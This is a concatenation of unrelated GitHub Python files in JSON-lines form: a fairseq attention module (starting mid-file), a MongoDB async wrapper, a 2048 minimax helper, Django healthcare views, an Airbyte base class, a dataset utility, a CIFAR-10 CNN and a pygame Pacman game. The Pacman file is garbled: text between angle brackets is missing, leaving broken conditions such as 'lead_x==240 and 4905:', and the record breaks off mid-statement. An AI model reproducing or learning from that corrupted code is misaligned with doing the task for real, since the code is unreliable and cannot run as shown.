F.linear(query, self.q_proj_weight[..., :self.sample_q_embed_dim], bias)\r\n\r\n def in_proj_k(self, key):\r\n if self.qkv_same_dim:\r\n return self._in_proj(key, start=self.sample_q_embed_dim, end=2 * self.sample_q_embed_dim, sample_dim=self.sample_embed_dim)\r\n else:\r\n weight = self.k_proj_weight\r\n bias = self.in_proj_bias\r\n if bias is not None:\r\n bias = bias[self.qkv_dim:2 * self.qkv_dim]\r\n return F.linear(key, weight[..., :self.sample_kv_embed_dim], bias)\r\n\r\n def in_proj_v(self, value):\r\n if self.qkv_same_dim:\r\n return self._in_proj(value, start=2 * self.sample_q_embed_dim, end=3 * self.sample_q_embed_dim, sample_dim=self.sample_embed_dim)\r\n else:\r\n weight = self.v_proj_weight\r\n bias = self.in_proj_bias\r\n if bias is not None:\r\n bias = bias[2 * self.qkv_dim:]\r\n return F.linear(value, weight[..., :self.sample_kv_embed_dim], bias)\r\n\r\n def _in_proj(self, input, sample_dim, start=0, end=None):\r\n weight = self.in_proj_weight\r\n bias = self.in_proj_bias\r\n weight = weight[start:end, :sample_dim]\r\n if bias is not None:\r\n bias = bias[start:end]\r\n return F.linear(input, weight, bias)\r\n\r\n def reorder_incremental_state(self, incremental_state, new_order):\r\n \"\"\"Reorder buffered internal state (for incremental generation).\"\"\"\r\n input_buffer = self._get_input_buffer(incremental_state)\r\n if input_buffer is not None:\r\n for k in input_buffer.keys():\r\n input_buffer[k] = input_buffer[k].index_select(0, new_order)\r\n self._set_input_buffer(incremental_state, input_buffer)\r\n\r\n def _get_input_buffer(self, incremental_state):\r\n return utils.get_incremental_state(\r\n self,\r\n incremental_state,\r\n 'attn_state',\r\n ) or {}\r\n\r\n def _set_input_buffer(self, incremental_state, buffer):\r\n utils.set_incremental_state(\r\n self,\r\n incremental_state,\r\n 'attn_state',\r\n buffer,\r\n )\r\n\r\n def apply_sparse_mask(self, attn_weights, tgt_len, src_len, bsz):\r\n return attn_weights\r\n\r\n def __repr__(self):\r\n # We treat the extra repr like the sub-module, one item per line\r\n extra_lines = []\r\n extra_repr = self.extra_repr()\r\n # empty string will be split into list ['']\r\n if extra_repr:\r\n extra_lines = extra_repr.split('\\n')\r\n child_lines = []\r\n for key, module in self._modules.items():\r\n mod_str = repr(module)\r\n mod_str = _addindent(mod_str, 2)\r\n child_lines.append('(' + key + '): ' + mod_str)\r\n lines = extra_lines + child_lines\r\n\r\n main_str = self._get_name() + '\\tnum_heads:' + str(self.num_heads) + '\\t qkv_dim:' + str(self.qkv_dim)\r\n if lines:\r\n # simple one-liner info, which most builtin Modules will use\r\n if len(extra_lines) == 1 and not child_lines:\r\n main_str += extra_lines[0]\r\n else:\r\n main_str += '\\n ' + '\\n '.join(lines) + '\\n'\r\n\r\n main_str += ')'\r\n return main_str\r\n\r\n","repo_name":"OpenNLPLab/mixFormer","sub_path":"fairseq/modules/multihead_cosformer_attention_2d_super.py","file_name":"multihead_cosformer_attention_2d_super.py","file_ext":"py","file_size_in_byte":21647,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"14738263200","text":"import pymongo\n\nimport yadm.abc as abc\nfrom yadm.database import BaseDatabase\nfrom yadm.serialize import to_mongo, from_mongo\n\nfrom .queryset import AioQuerySet\nfrom .aggregation import AioAggregator\n\nPYMONGO_VERSION = pymongo.version_tuple\n\nRPS = pymongo.read_preferences\n\n\n@abc.Database.register\nclass AioDatabase(BaseDatabase):\n aio = True\n\n async def insert(self, document, **collection_params):\n document.__db__ = self\n collection = self._get_collection(document.__class__, collection_params)\n document._id = await collection.insert(to_mongo(document))\n document.__changed_clear__()\n return document\n\n async def save(self, document, **collection_params):\n document.__db__ = self\n collection = self._get_collection(document.__class__, collection_params)\n document._id = await collection.save(to_mongo(document))\n document.__changed_clear__()\n return document\n\n async def update_one(self, document, reload=True, *,\n set=None, unset=None, inc=None,\n push=None, pull=None,\n **collection_params):\n update_data = {}\n\n if set:\n update_data['$set'] = set\n\n if unset:\n if isinstance(unset, dict):\n update_data['$unset'] = unset\n else:\n update_data['$unset'] = {f: True for f in unset}\n\n if inc:\n update_data['$inc'] = inc\n\n if push:\n update_data['$push'] = push\n\n if pull:\n update_data['$pull'] = pull\n\n if update_data:\n await self._get_collection(document, collection_params).update(\n {'_id': document.id},\n update_data,\n upsert=False,\n multi=False,\n )\n\n if reload:\n await self.reload(document)\n\n async def remove(self, document, **collection_params):\n collection = self._get_collection(document.__class__, collection_params)\n return await collection.remove({'_id': document._id})\n\n async def reload(self, document, new_instance=False, *,\n projection=None,\n read_preference=RPS.PrimaryPreferred(),\n **collection_params):\n collection_params['read_preference'] = read_preference\n\n qs = self.get_queryset(document.__class__,\n projection=projection,\n **collection_params)\n\n new = await qs.find_one(document.id)\n\n if new_instance:\n return new\n else:\n document.__raw__.clear()\n document.__raw__.update(new.__raw__)\n document.__cache__.clear()\n document.__changed__.clear()\n return document\n\n async def get_document(self, document_class, _id, *,\n exc=None,\n read_preference=RPS.PrimaryPreferred(),\n **collection_params):\n collection_params['read_preference'] = read_preference\n col = self.db.get_collection(document_class.__collection__,\n **collection_params)\n\n raw = await col.find_one({'_id': _id})\n\n if raw:\n doc = from_mongo(document_class, raw)\n doc.__db__ = self\n return doc\n\n elif exc is not None:\n raise exc((document_class, _id, collection_params))\n\n else:\n return None\n\n def get_queryset(self, document_class, *,\n projection=None,\n cache=None,\n **collection_params):\n if projection is None:\n projection = document_class.__default_projection__\n\n return AioQuerySet(self, document_class,\n projection=projection,\n cache=cache,\n collection_params=collection_params)\n\n def aggregate(self, document_class, *, pipeline=None, **collection_params):\n return AioAggregator(self, document_class,\n pipeline=None,\n collection_params=collection_params)\n\n def bulk(self, document_class,\n ordered=False, raise_on_errors=True, **collection_params):\n raise NotImplementedError\n # return AioBulk(self, document_class, ordered, raise_on_errors,\n # collection_params=collection_params)\n","repo_name":"ProstoMaxim/yadm","sub_path":"yadm/aio/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"38327099166","text":"import random\nimport copy\n\n\nclass MoveSimulator(object):\n def __init__(self, size=10):\n self.board = [None] * size\n\n def minimax(self, board, depth=1, max_move=True):\n\n legal_moves = self.get_moves(board)\n best_move = (float(\"inf\"), (-1, -1))\n\n if depth == 0 or len(legal_moves) == 0:\n return (self.heuristic(board), (-1, -1))\n\n if max_move:\n best_move = (float(\"-inf\"), (-1, -1))\n score = best_move[0]\n for m in legal_moves:\n result = self.minimax(self.forecast(m, board), depth - 1, not max_move)\n if result[0] > score:\n best_move = (result[0], m)\n score = result[0]\n\n else:\n best_move = (float(\"inf\"), (-1, -1))\n score = best_move[0]\n for m in legal_moves:\n result = self.minimax(self.forecast(m, board), depth - 1, not max_move)\n if result[0] < score:\n best_move = (result[0], m)\n score = result[0]\n\n return best_move\n\n def alphabeta(self, board, depth=1, alpha=float(\"-inf\"), beta=float(\"inf\"), max_move=True):\n\n legal_moves = self.get_moves(board)\n\n if depth == 0 or len(legal_moves) == 0:\n return (self.heuristic(board), (-1, -1))\n\n if max_move:\n best_move = (float(\"-inf\"), (-1, -1))\n score = best_move[0]\n for move in legal_moves:\n result = self.alphabeta(self.forecast(move, board), depth - 1, alpha, beta, not max_move)\n if result[0] > score:\n best_move = (result[0], move)\n score = result[0]\n\n if result[0] >= beta:\n return score, move\n\n alpha = max(alpha, result[0])\n\n else:\n best_move = (float(\"inf\"), (-1, -1))\n score = best_move[0]\n for move in legal_moves:\n result = self.alphabeta(self.forecast(move, board), depth - 1, alpha, beta, not max_move)\n if result[0] < score:\n best_move = (result[0], move)\n score = result[0]\n\n if result[0] <= alpha:\n return (result[0], move)\n\n beta = min(beta, result[0])\n\n return best_move\n\n def move(self, coordinates, position):\n \"\"\" Put a new move on the board and try calculate the next best move\n\n Parameters\n ----------\n coordinates : (1,1)\n position : (int)\n\n Returns\n -------\n The best coordinates for the next move\n\n \"\"\"\n self.board.insert(position, coordinates)\n return self.minimax(self.board)[1]\n\n def forecast(self, coordinates, board):\n \"\"\" Put a new move in a copy of the current board\n\n Parameters\n ----------\n board : object\n coordinates : (1,1)\n\n Returns\n -------\n board\n The board with new move\n \"\"\"\n new_board = copy.deepcopy(board)\n new_board.append(coordinates)\n return new_board\n\n def get_number_of_potential_moves(self, board):\n \"\"\"Return size of potential moves\n\n Returns\n -------\n (int)\n size of potential moves\n \"\"\"\n\n potential_moves = 0\n\n for a in board:\n if a == None:\n potential_moves += 1\n\n return potential_moves\n\n def get_moves(self, board):\n \"\"\"Return pseudo random potential moves\n\n Returns\n -------\n list (int, int)\n size of potential moves\n \"\"\"\n\n ms = []\n\n for a in range(self.get_number_of_potential_moves(board)):\n ms.append((random.randint(0, 9), random.randint(0, 9)))\n\n return ms\n\n def heuristic(self, board):\n \"\"\"Calculate the heuristic value based in simple rules.\n\n Parameters\n ----------\n board : object\n\n Returns\n -------\n float\n The heuristic value of the current move of board\n \"\"\"\n points = 0\n\n for coordinates in [i for i in board if i is not None]:\n\n if coordinates[0] > coordinates[1]:\n points += random.randint(20, 60)\n else:\n points += random.randint(0, 19)\n\n return points","repo_name":"WordBearerYI/2048-solver","sub_path":"2048_ai/2048.py","file_name":"2048.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27306040129","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom django.template import loader\nfrom django.contrib import messages\nfrom .forms import staffdata,MyUserCreationForm\nfrom .models import Doctors,Blog,Userinfo,Patients\nfrom django.urls import reverse\nfrom datetime import datetime\nfrom django.contrib.auth.models import User,auth\nfrom django.db.models import Q\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'index.html')\ndef userreg(request):\n form = MyUserCreationForm()\n if request.method == \"POST\":\n form = MyUserCreationForm(request.POST)\n \n if form.is_valid():\n form.save()\n return redirect(\"login\")\n return render(request,\"regi.html\",{'f':form})\nfrom django.contrib.sessions.models import Session\ndef login(request):\n if request.method == \"POST\":\n username1 = request.POST.get(\"username\")\n password1 = request.POST.get(\"password\")\n user = auth.authenticate(username=username1,password=password1)\n if user is not None and user.is_doctor:\n auth.login(request,user)\n request.session['is_logged'] = True\n return redirect(\"doctor\")\n\n elif user is not None and user.is_patient:\n auth.login(request,user)\n request.session['is_logged'] = True\n return redirect(\"patient\")\n \n else: \n messages.info(request,\"Username and Password Does Not Match!!!\")\n return redirect(\"login\")\n else:\n return render(request,\"login.html\")\n \ndef doctor(request):\n return render(request,\"doctor.html\")\n\ndef patient(request):\n return render(request,\"patient.html\")\n\ndef logout(request):\n auth.logout(request)\n return redirect(\"index\")\n\ndef allrecords(request):\n doctors = Doctors.objects.all()\n context = {\n 'doctors': doctors,\n }\n print(context)\n return render(request, 'view_all_docs.html', context)\ndef allpatients(request):\n patients = Patients.objects.all()\n context = {\n 'patients': patients,\n }\n print(context)\n return render(request, 'view_all_patients.html', context)\ndef add_patient(request):\n if request.method == 'POST':\n firstname = request.POST['firstname']\n lastname = request.POST['lastname']\n phonenum = int(request.POST['phonenum'])\n treat_dept = request.POST['treat_dept']\n address = request.POST['address']\n emailid = request.POST['emailid']\n bloodgroup = request.POST['bloodgroup']\n\n patient = Patients(firstname=firstname, lastname=lastname, phonenum=phonenum, treat_dept= treat_dept,address=address,emailid=emailid,bloodgroup=bloodgroup)\n patient.save()\n #return HttpResponse('Patient added Successfully')\n return redirect('all_patient_records')\n elif request.method=='GET':\n return render(request, 'add_patient.html')\n else:\n return HttpResponse(\"An Exception Occured! Patient Has Not Been Added\")\n\n\ndef add(request):\n if request.method == 'POST':\n first_name = request.POST['first_name']\n last_name = request.POST['last_name']\n salary = int(request.POST['salary'])\n phone = int(request.POST['phone'])\n dept = request.POST['dept']\n role = request.POST['role']\n location = request.POST['location']\n doctor = Doctors(first_name=first_name, last_name=last_name, salary=salary, phone=phone, dept= dept, role= role,location=location, hire_date = datetime.now())\n doctor.save()\n #return HttpResponse('Doctor added Successfully')\n return redirect('all_records')\n elif request.method=='GET':\n return render(request, 'add.html')\n else:\n return HttpResponse(\"An Exception Occured! Doctor Has Not Been Added\")\n\ndef delete(request, doc_id = 0):\n if doc_id:\n try:\n doc_to_be_removed = Doctors.objects.get(id=doc_id)\n doc_to_be_removed.delete()\n #return HttpResponse(\"Employee Removed Successfully\")\n return redirect('all_records')\n except:\n return HttpResponse(\"Please Enter A Valid EMP ID\")\n doctors = Doctors.objects.all()\n context = {\n 'doctors': doctors,\n }\n return render(request, 'remove.html',context)\n\ndef update(request, doc_id=0):\n if doc_id:\n try:\n doctor = Doctors.objects.get(id=doc_id)\n template = loader.get_template('update.html') \n context = {\n 'doctor': doctor,\n }\n return HttpResponse(template.render(context, request))\n \n except:\n return HttpResponse(\"Please Enter VALID ID\")\n doctors = Doctors.objects.all()\n context = {\n 'doctors': doctors,\n }\n return render(request, 'update1.html',context)\n \n \ndef updaterecord(request, doc_id):\n first_name = request.POST['first_name']\n last_name = request.POST['last_name']\n salary = int(request.POST['salary'])\n phone = int(request.POST['phone'])\n dept = request.POST['dept']\n role = request.POST['role']\n location = request.POST['location']\n\n doctor=Doctors.objects.get(id=doc_id)\n doctor.first_name = first_name\n doctor.last_name = last_name\n doctor.salary = salary\n doctor.phone = phone\n doctor.dept = dept\n doctor.role = role\n doctor.location = location\n doctor.save()\n return redirect('all_records')\n\ndef filter_doc(request):\n if request.method == 'POST':\n name = request.POST['name']\n dept = request.POST['dept']\n role = request.POST['role']\n location = request.POST['location']\n doctors = Doctors.objects.all()\n if name:\n doctors = doctors.filter(Q(first_name__icontains = name) | Q(last_name__icontains = name))\n\n if dept:\n doctors = doctors.filter(dept__icontains = dept)\n if role:\n doctors = doctors.filter(role__icontains = role)\n if location:\n doctors = doctors.filter(location__icontains = location)\n\n context = {\n 'doctors': doctors\n }\n print(context)\n return render(request, 'view_all_docs.html', context)\n\n elif request.method == 'GET':\n return render(request, 'filter_doc.html')\n else:\n return HttpResponse('An Exception Occurred')\ndef staff_input_view(request):\n form2 = staffdata(request.POST or None)\n if request.method == \"POST\" and form2.is_valid():\n\n name = form2.cleaned_data['name']\n sid = form2.cleaned_data['sid']\n\n print(name)\n print(sid)\n return render(request,\"see1.html\", {\"name\":name,\"sid\":sid})\n\n return render(request,\"staffdata.html\",{\"form2\":form2})\n\n\ndef blog(request):\n blogs = Blog.objects.all()\n context = {\"blogs\": blogs}\n return render(request,\"bloghome.html\",context)\n\n\ndef blogpost(request,slug):\n blog = Blog.objects.get(slug=slug)\n context = {\n 'blog': blog,\n }\n\n return render(request,\"blogpost.html\",context)\n\n # return HttpResponse(f'You are viewing {slug}')\n \n\n\n\n","repo_name":"pragatimhjn/Healthcare","sub_path":"healthcare/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20186269091","text":"from abc import abstractmethod\nfrom dataclasses import dataclass\nfrom typing import Any, Mapping, Optional\n\nfrom airbyte_cdk.sources.declarative.types import Config, Record, StreamSlice, StreamState\n\n\n@dataclass\nclass RecordTransformation:\n \"\"\"\n Implementations of this class define transformations that can be applied to records of a stream.\n \"\"\"\n\n @abstractmethod\n def transform(\n self,\n record: Record,\n config: Optional[Config] = None,\n stream_state: Optional[StreamState] = None,\n stream_slice: Optional[StreamSlice] = None,\n ) -> Mapping[str, Any]:\n \"\"\"\n Transform a record by adding, deleting, or mutating fields.\n\n :param record: The input record to be transformed\n :param config: The user-provided configuration as specified by the source's spec\n :param stream_state: The stream state\n :param stream_slice: The stream slice\n :return: The transformed record\n \"\"\"\n\n def __eq__(self, other: object) -> bool:\n return other.__dict__ == self.__dict__\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-cdk/python/airbyte_cdk/sources/declarative/transformations/transformation.py","file_name":"transformation.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"5351201628","text":"from collections import OrderedDict\nfrom pathlib import Path\nimport shutil\nfrom .image.loader import UCRImage\n\n\ndef load_labeldict(path):\n labels = [l.split(';') for l in path.read_text().split('\\n')][:-1]\n label_dict = {}\n for l in labels:\n if l[0] in label_dict.keys():\n label_dict[l[0]][int(l[1])] = int(l[2])\n else:\n label_dict[l[0]] = {}\n label_dict[l[0]][int(l[1])] = int(l[2])\n return label_dict\n\n\ndef lbldict_as_csv(labeldict, path):\n csv = \"\"\n for dataset in labeldict.keys():\n for k, v in labeldict[dataset].items():\n csv += \"{};{};{}\\n\".format(dataset, k, v)\n with (path / 'labeldict.csv').open('w') as file:\n file.write(csv)\n\n\ndef make_all_data_dir(input_data_dir, output_data_dir):\n p = Path(input_data_dir)\n # make dependent of path, target a UCR Image dir, create path completely\n tp = (Path(output_data_dir) / p.name / 'all')\n tp.mkdir(exist_ok=True, parents=True)\n datasets = sorted([x.name for x in p.iterdir() if x.is_dir()])\n labeldict = OrderedDict()\n # get unique labels and make new labels\n for part in [UCRImage.TRAIN_DIR, UCRImage.TEST_DIR]:\n (tp / part).mkdir(exist_ok=True)\n for data in datasets:\n with (p / data / part / UCRImage.LABELS_FILE).open('r') as file:\n labels = file.readlines()\n flavours = list(set(int(x) for x in labels))\n flavours.sort()\n labeldict[data] = flavours\n i = 0\n for data in datasets:\n lbls = labeldict[data]\n labeldict[data] = {}\n for lbl in lbls:\n labeldict[data][lbl] = i\n i = i + 1\n lbldict_as_csv(labeldict, tp / part)\n\n # translate labels\n for part in [UCRImage.TRAIN_DIR, UCRImage.TEST_DIR]:\n all_labels = []\n for data in datasets:\n with (p / data / part / UCRImage.LABELS_FILE).open('r') as file:\n labels = file.readlines()\n values = [int(x) for x in labels]\n all_labels += [labeldict[data][v] for v in values]\n (tp / part / UCRImage.LABELS_FILE).write_text('\\n'.join(map(str, all_labels)))\n\n for part in [UCRImage.TRAIN_DIR, UCRImage.TEST_DIR]:\n i = 0\n for data in datasets:\n sourcepath = p / data / part\n targetpath = tp / part\n files = [x.name for x in sorted(sourcepath.iterdir()) if UCRImage.FILE_EXTENSION == x.suffix]\n for f in files:\n source = sourcepath / f\n dest = targetpath / (str(i).zfill(8) + UCRImage.FILE_EXTENSION)\n shutil.copy(str(source), str(dest))\n i += 1\n","repo_name":"patientzero/timage-icann2019","sub_path":"code/timage/data/all.py","file_name":"all.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"35753476748","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport os\nimport pickle\nimport numpy as np\nimport tensorflow as tf\nCIFAR_DIR='cifar-10-batches-py'\nget_ipython().magic('matplotlib inline')\n\n\n# In[2]:\n\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n cifar_dict = pickle.load(fo, encoding='bytes')\n return cifar_dict\n\n\n# In[3]:\n\n\nCIFAR_PATH=['batches.meta','data_batch_1','data_batch_2','data_batch_3','data_batch_4','data_batch_5','test_batch']\n\n\n# In[4]:\n\n\nCIFAR_DATA=[]\nfor i in CIFAR_PATH:\n file=os.path.join(CIFAR_DIR,i)\n CIFAR_DATA.append(unpickle(file))\n\n\n# In[5]:\n\n\ndef one_hot_encode(val,size=10):\n temp=np.zeros(size,dtype='uint8')\n temp[val]=1\n return temp\n\n\n# In[6]:\n\n\ndef reshape(img):\n return img.reshape(-1,3,32,32).transpose(0,2,3,1).astype('uint8') \n\n\n# In[7]:\n\n\nmeta_data=CIFAR_DATA[0]\ntest_data=CIFAR_DATA[-1]\nall_batches=CIFAR_DATA[1:-1]\n\n\n# In[8]:\n\n\nclass cifar_train:\n def __init__(self):\n self.images=np.vstack([reshape(i[b'data']) for i in all_batches])\n self.labels=np.hstack([i[b'labels'] for i in all_batches])\n def next_batch(self,n):\n high=self.images.shape[0]\n indices=np.random.randint(0,high,size=n)\n return self.images[indices],np.vstack([one_hot_encode(i) for i in self.labels[indices]])\nclass cifar_test:\n def __init__(self):\n self.images=reshape(test_data[b'data'])\n self.labels=np.vstack([one_hot_encode(i) for i in test_data[b'labels']])\n\n\n# In[9]:\n\n\ndef init_weights(shape):\n return tf.Variable(initial_value=tf.truncated_normal(shape=shape,stddev=0.1),dtype=tf.float32)\n\n\n# In[10]:\n\n\ndef init_bias(shape):\n return tf.Variable(tf.constant(value=0.1,shape=shape))\n\n\n# In[11]:\n\n\ndef conv2d(x,W):\n return tf.nn.conv2d(x,W,strides=[1,1,1,1],padding='SAME')\n\n\n# In[12]:\n\n\ndef pooling(x):\n return tf.nn.max_pool(x,ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME')\n\n\n# In[13]:\n\n\ndef convolution_layer(x_input,shape):\n W=init_weights(shape)\n b=init_bias([shape[3]])\n return tf.nn.relu(conv2d(x_input,W)+b)\n\n\n# In[14]:\n\n\ndef dense_layer(input_layer,size):\n input_size=int(input_layer.shape[1])\n W=init_weights([input_size,size])\n b=init_bias([size])\n return tf.matmul(input_layer,W)+b\n\n\n# In[15]:\n\n\nx_image=tf.placeholder(dtype=tf.float32,shape=[None,32,32,3])\ny_true=tf.placeholder(dtype=tf.float32,shape=[None,10])\nhold_prob=tf.placeholder(dtype=tf.float32)\n\n\n# In[70]:\n\n\nconvo_1 = convolution_layer(x_image,[2,2,3,24])\npool_1 = pooling(convo_1)\nconvo_2 = convolution_layer(pool_1,[2,2,24,48])\npool_2 = pooling(convo_2)\nflat_layer = tf.reshape(pool_2,shape=[-1,8*8*48])\ndense_1 = tf.nn.relu(dense_layer(flat_layer,512))\ndrop_out = tf.nn.dropout(dense_1,keep_prob=hold_prob)\ny_pred = dense_layer(drop_out,10)\n\n\n# In[71]:\n\n\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_true,logits=y_pred))\n\n\n# In[72]:\n\n\noptimizer = tf.train.AdamOptimizer(learning_rate=0.004)\ntrain = optimizer.minimize(cross_entropy)\n\n\n# In[73]:\n\n\ninit = tf.global_variables_initializer()\n\n\n# In[74]:\n\n\nc_train=cifar_train()\nc_test=cifar_test()\n\n\n# In[ ]:\n\n\nsteps=5000\nwith tf.Session() as sess:\n sess.run(init)\n for i in range(steps+1):\n x_batch,y_batch = c_train.next_batch(100)\n feed = {x_image:x_batch,y_true:y_batch,hold_prob:0.5}\n sess.run(train,feed_dict=feed)\n #print(i)\n if i%500==0:\n print(\"ACCURACY...\")\n acc=tf.reduce_mean(tf.cast(tf.equal(tf.argmax(y_pred,1),tf.argmax(y_true,1)),dtype=tf.float32))\n accuracy=sess.run(acc,feed_dict={x_image:c_test.images,y_true:c_test.labels,hold_prob:1.0})\n print(accuracy)\n\n","repo_name":"Daem0n-th/CIFAR","sub_path":"CIFAR_CNN.py","file_name":"CIFAR_CNN.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20614794248","text":"import pygame\nimport time\nimport random\nfrom suraj import*\nfrom charan import*\npygame.init()\n# Diffrent Colors.\nwhite = (255 , 255 ,255)\nblack = (0 , 0 , 0)\nred = (255 , 0 , 0)\ngreen = (0 , 255 , 0)\nlgreen= (100, 255 , 100)\nblue= (0,0,255)\nyellow=(255,255,0)\nback=(0,0,0)\nghost=(51,0,102)\nghost2=(0,51,51)\nghost3=(51,51,0)\ndot=(102,255,102)\nbound=(0,0,153)\nsize=0\npos=0\n\n#Use To Define No Of Frames Running Per Second.\nclock = pygame.time.Clock()\n\n#Its The Main Screen On Which All The Game Is Running.\ngameDisplay = pygame.display.set_mode((1000,1000))\n\n#Its The Caption Blits Above The Main Screen. \npygame.display.set_caption('Pacman')\n\n#Images Loaded Which Are Used In Game.\nimgu = pygame.image.load('u.png')\nimgl = pygame.image.load('l.png')\nimgr = pygame.image.load('r.png')\ng1 = pygame.image.load('g1.png')\ng2 = pygame.image.load('g2.png')\ng3 = pygame.image.load('g3.png')\nf1 = pygame.image.load('f1.gif')\nf2 = pygame.image.load('f2.gif')\nf3 = pygame.image.load('f3.gif')\nf4 = pygame.image.load('f4.gif')\nf5 = pygame.image.load('f5.gif')\n\n#Used To Set Game Icon.\npygame.display.set_icon(imgr)\n\n\n\n\n# Its The Pause Screen Which Appears When Player Enters The Esc Key\ndef pause():\n\tpause = True\n\twhile pause == True:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tpygame.quit()\n\t\t\t\tquit()\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_c:\n\t\t\t\t\tpause = False\n\t\t\t\telif event.key == pygame.K_q:\n\t\t\t\t\tpygame.quit()\n\t\t\t\t\tquit()\n\t\t\t\telif event.key == pygame.K_r:\n\t\t\t\t\tgameloop()\n\t\tgameDisplay.fill(white)\n\t\tmessage_to_screen(\"Paused!!!\", red,-300,\"large\")\n\t\tmessage_to_screen(\"Continue(c)/Quit(q)/restart(r)\" , black )\n\t\tpygame.display.update()\n\n# Its The Main Game Loop Which is COntroling The Whole Moition Of Ghosts And Pacman.\ndef gameloop():\n\tgameExit = False\n\tgameover = False\n\n\tlead_x = 30\n\tlead_y = 30\n\tlead_x_change= 0\n\tlead_y_change= 0\n\n\tc=[]\n\td=[]\n\tfor i in range(355,646,5):\n\t\tfor j in range (260,741,5):\n\t\t\tc.append((i,j))\t\t\n\tx=imgr\n\tg1y=280\n\tg2x=580 \n\tg3x=375\n\tg4y=680\n\tg1c=3\n\tg2c=-3\n\tg3c=3\n\tg4c=-3\n\tg5x=450\n\tg5y=10\n\tg6x=510\n\tg6y=10\n\tg5cx=-3\n\tg5cy=0\n\tg6cx=3\n\tg6cy=0\n\tg7y=835\n\tg7x=950\n\tg7cx=-3\n\tg7cy=0\n\t#ghosts\n\twhile not gameExit:\n\n\t\twhile gameover == True:\n\t\t\tgameDisplay.fill(white)\n\t\t\tmessage_to_screen(\"You Made A\",red,-220,size=\"large\")\n\t\t\tmessage_to_screen(\"Tasty Snack!!!\",red,size=\"large\")\n\t\t\tmessage_to_screen(\"Score=\"+str(len(c)-5724),black,200)\n\t\t\tmessage_to_screen(\"Restart(c)/Quit(q)\",blue,400)\n\t\t\tpygame.display.update()\n\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tgameover=False\n\t\t\t\t\tgameExit= True\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif event.key == pygame.K_q:\n\t\t\t\t\t\tgameExit= True\n\t\t\t\t\t\tgameover= False\n\t\t\t\t\telif event.key== pygame.K_c:\n\t\t\t\t\t\tgameloop()\n\t\t\t\t\n\n\t\tprevx=lead_x_change\n\t\tprevy=lead_y_change\n\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tgameExit = True\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_LEFT:\n\t\t\t\t\tlead_y_change= 0\n\t\t\t\t\tlead_x_change-=5\n\t\t\t\t\tx=imgl\n\t\t\t\t\tif lead_x==240 and 4905:\n\t\t\tlead_x_change=5\n\t\tif lead_x_change<-5:\n\t\t\tlead_x_change=-5\n\t\tif lead_y_change>5:\n\t\t\tlead_y_change=5\n\t\tif lead_y_change<-5:\n\t\t\tlead_y_change=-5\t\t\t\n\n\n\t\tif (lead_x>355 and lead_x<435 and lead_y>g1y-20 and lead_yg2x-20 and lead_x260 and lead_y<340) or (lead_x>g3x-20 and lead_x660 and lead_y<740) or (lead_x>565 and lead_x<645 and lead_y>g4y-20 and lead_yg5x-20 and lead_xg5y-20 and lead_yg6x-20 and lead_xg6y-20 and lead_yg7x-20 and lead_xg7y-20 and lead_y=1020 and (lead_y== 30 or lead_y== 500) :\n\t\t\tlead_x=0\n\t\tif lead_x <=-20 and (lead_y== 30 or lead_y== 500):\n\t\t\tlead_x=1000\n\n\n\t\tlead_x += lead_x_change\n\t\tlead_y += lead_y_change\n\n\t\ttrace=trace_path()\t\n\t\t\n\t\tif (lead_x, lead_y) not in trace:\n\t\t\tif (lead_x+5, lead_y) in trace:\n\t\t\t\tlead_x+=5\n\t\t\t\tlead_y_change=prevy\n\t\t\t\tlead_x_change=0\n\n\t\t\t\t#lead_y_change=5\n\t\t\telif (lead_x-5, lead_y) in trace:\n\t\t\t\tlead_x-=5\n\t\t\t\tlead_y_change=prevy\n\t\t\t\tlead_x_change=0\n\t\t\t\t#lead_y_change=5\n\t\t\telif (lead_x, lead_y+5) in trace:\n\t\t\t\tlead_y+=5\n\t\t\t\tlead_x_change=prevx\n\t\t\t\tlead_y_change=0\n\n\t\t\t\t\n\t\t\telif (lead_x, lead_y-5) in trace:\n\t\t\t\tlead_y-=5\n\t\t\t\tlead_x_change=prevx\n\t\t\t\tlead_y_change=0\n\t\t\t\t\n\n\n\t\n\n\t\t\n\t\t\telif event.key == pygame.K_RIGHT:\n\t\t\t\tlead_y=500\n\t\t\t\tlead_x_change=5\n\n\n\t\tif g1y <= 280:\n\t\t\tg1c=3\n\t\tif g1y >= 460:\n\t\t\tg1c=-3\n\t\tif g2x >= 585:\n\t\t\tg2c=-3\n\t\tif g2x <= 500:\n\t\t\tg2c=3\n\n\t\tif g3x <= 375:\n\t\t\tg3c=3\n\t\tif g3x >= 460:\n\t\t\tg3c=-3\n\n\t\tif g4y >= 680:\n\t\t\tg4c=-3\n\t\tif g4y <= 500:\n\t\t\tg4c=3\n\n\n\t\tif g5y<=10 and g5x <= 